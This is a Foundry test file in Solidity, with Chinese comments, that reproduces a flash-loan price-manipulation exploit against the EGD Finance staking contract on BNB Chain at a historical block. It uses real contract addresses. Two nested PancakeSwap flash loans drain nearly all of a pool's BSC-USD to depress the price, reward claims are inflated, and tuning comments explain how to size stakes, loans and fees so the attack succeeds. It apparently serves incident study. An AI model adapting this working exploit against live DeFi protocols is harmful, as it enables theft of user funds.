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| pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is Test {
// 两次闪电贷分别借款金额
uint256 constant FLASHLOANAMOUNT_01 = 2000 * 1e18;
uint256 FLASHLOANAMOUNT_02;
IERC20 public EGD = IERC20(0x202b233735bF743FA31abb8f71e641970161bF98);
IERC20 public BSC_USD = IERC20(0x55d398326f99059fF775485246999027B3197955);
IPancakeRouter public router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
IPancakePair public pair_wbnbUSD = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair public pair_egdUSD = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IEGDFinance public EGDFinance = IEGDFinance(0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370);
bool public countFlashloan = false; // 用于控制两次不同的闪电贷回调函数
function setUp() public {
vm.createSelectFork("bsc", 20_245_521); // 黑客第一笔交易是进行stake，在20_245_522
vm.label(address(EGD), "EGD");
vm.label(address(BSC_USD), "BSC_USD");
vm.label(address(router), "router");
vm.label(address(pair_wbnbUSD), "pair_wbnbUSD");
vm.label(address(pair_egdUSD), "pair_egdUSD");
vm.label(address(EGDFinance), "EGDFinance");
}
function testExploit() public {
// 做好准备工作: 授权
EGD.approve(address(router), ~uint256(0));
BSC_USD.approve(address(router), ~uint256(0));
EGD.approve(address(EGDFinance), ~uint256(0));
BSC_USD.approve(address(EGDFinance), ~uint256(0));
// 攻击前准备：质押stake
console.log("[before attack]");
console.log(" stake 100 ether");
deal(address(BSC_USD), address(this), 100 ether);
EGDFinance.bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
EGDFinance.stake(100 ether);
console.log();
console.log("after 10 seconds");
// 质押和获取利润一般不可以在同一个交易当中
// 注意：获取的利润和时间有关系，时间越长，获取的利润就越多。
// 但是EGDFinance在池子中的EGD余额是有限的，你的利润太多，取完了就会报错。
// 因此，质押的数量和时间是有讲究的，否则会报错说余额不够。
// 这里我们选择质押100ETH，并且质押10秒
vm.warp(block.timestamp + 10);
console.log();
console.log("[start attack]");
emit log_named_decimal_uint(" [INFO] attackContract BSC-USD Balance", IERC20(BSC_USD).balanceOf(address(this)), 18);
emit log_named_decimal_uint(" [INFO] EGD/BSC-USD Price before price manipulation", IEGDFinance(EGDFinance).getEGDPrice(), 18);
console.log(" Flashloan[1] : borrow 2,000 BSC-USD from BSC-USD/WBNB pool");
// 发起攻击
// 我们闪电贷借款2000个BSC-USD，跟攻击事件的一样
pair_wbnbUSD.swap(FLASHLOANAMOUNT_01, 0, address(this), new bytes(1));
console.log(" Flashloan[1] payback success");
emit log_named_decimal_uint(" [INFO] attackContract BSC-USD Balance", IERC20(BSC_USD).balanceOf(address(this)), 18);
IERC20(BSC_USD).transfer(msg.sender, IERC20(BSC_USD).balanceOf(address(this)));
}
function pancakeCall(address, uint256, uint256, bytes calldata) external{
if(countFlashloan == false){
console.log(" borrow BSC-USD, the price of BSC-USD decrease");
countFlashloan = true;
// 第二次闪电贷：借出池子的99.99999925%，好像是说无法借出全部，否则会报流动性余额啥的异常, 如果借少了导致获利减少，不够还款闪电贷
FLASHLOANAMOUNT_02 = IERC20(BSC_USD).balanceOf(address(pair_egdUSD)) * 9_999_999_925 / 10_000_000_000;
// FLASHLOANAMOUNT_02 = IERC20(BSC_USD).balanceOf(address(pair_egdUSD)) * 90 / 100;
console.log(" Flashloan[2] : borrow 99.99999925% BSC-USD of EGD/BSC-USD pool");
pair_egdUSD.swap(0, FLASHLOANAMOUNT_02, address(this), new bytes(1));
console.log(" Flashloan[2] payback success");
address[] memory path = new address[](2);
path[0] = address(EGD);
path[1] = address(BSC_USD);
console.log(" swap: EGD => BSC-USD");
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(EGD).balanceOf(address(this)), 1, path, address(this), block.timestamp
);
// 手续费是至少大于0.25%，我们选择0.26%。如果还太多，我们攻击所得的余额不够也会报错，因此要控制好数量
uint256 swapfee = (FLASHLOANAMOUNT_01 * 10_000 / 9974) - FLASHLOANAMOUNT_01;
BSC_USD.transfer(address(pair_wbnbUSD), FLASHLOANAMOUNT_01 + swapfee);
}else{
console.log(" borrow BSC-USD, the price of BSC-USD decrease again");
emit log_named_decimal_uint(" [INFO] EGD/BSC-USD Price after price manipulation", IEGDFinance(EGDFinance).getEGDPrice(), 18);
console.log(" Claim all EGD Token reward from EGD Finance contract");
EGDFinance.claimAllReward();
emit log_named_decimal_uint(" [INFO] Get reward (EGD token)", IERC20(EGD).balanceOf(address(this)), 18);
// 手续费是至少大于0.25%，我们选择0.26%。如果还太多，我们攻击所得的余额不够也会报错，因此要控制好数量
uint256 swapfee = (FLASHLOANAMOUNT_02 * 10_000 / 9974) - FLASHLOANAMOUNT_02;
BSC_USD.transfer(address(pair_egdUSD), FLASHLOANAMOUNT_02 + swapfee);
}
}
}
|
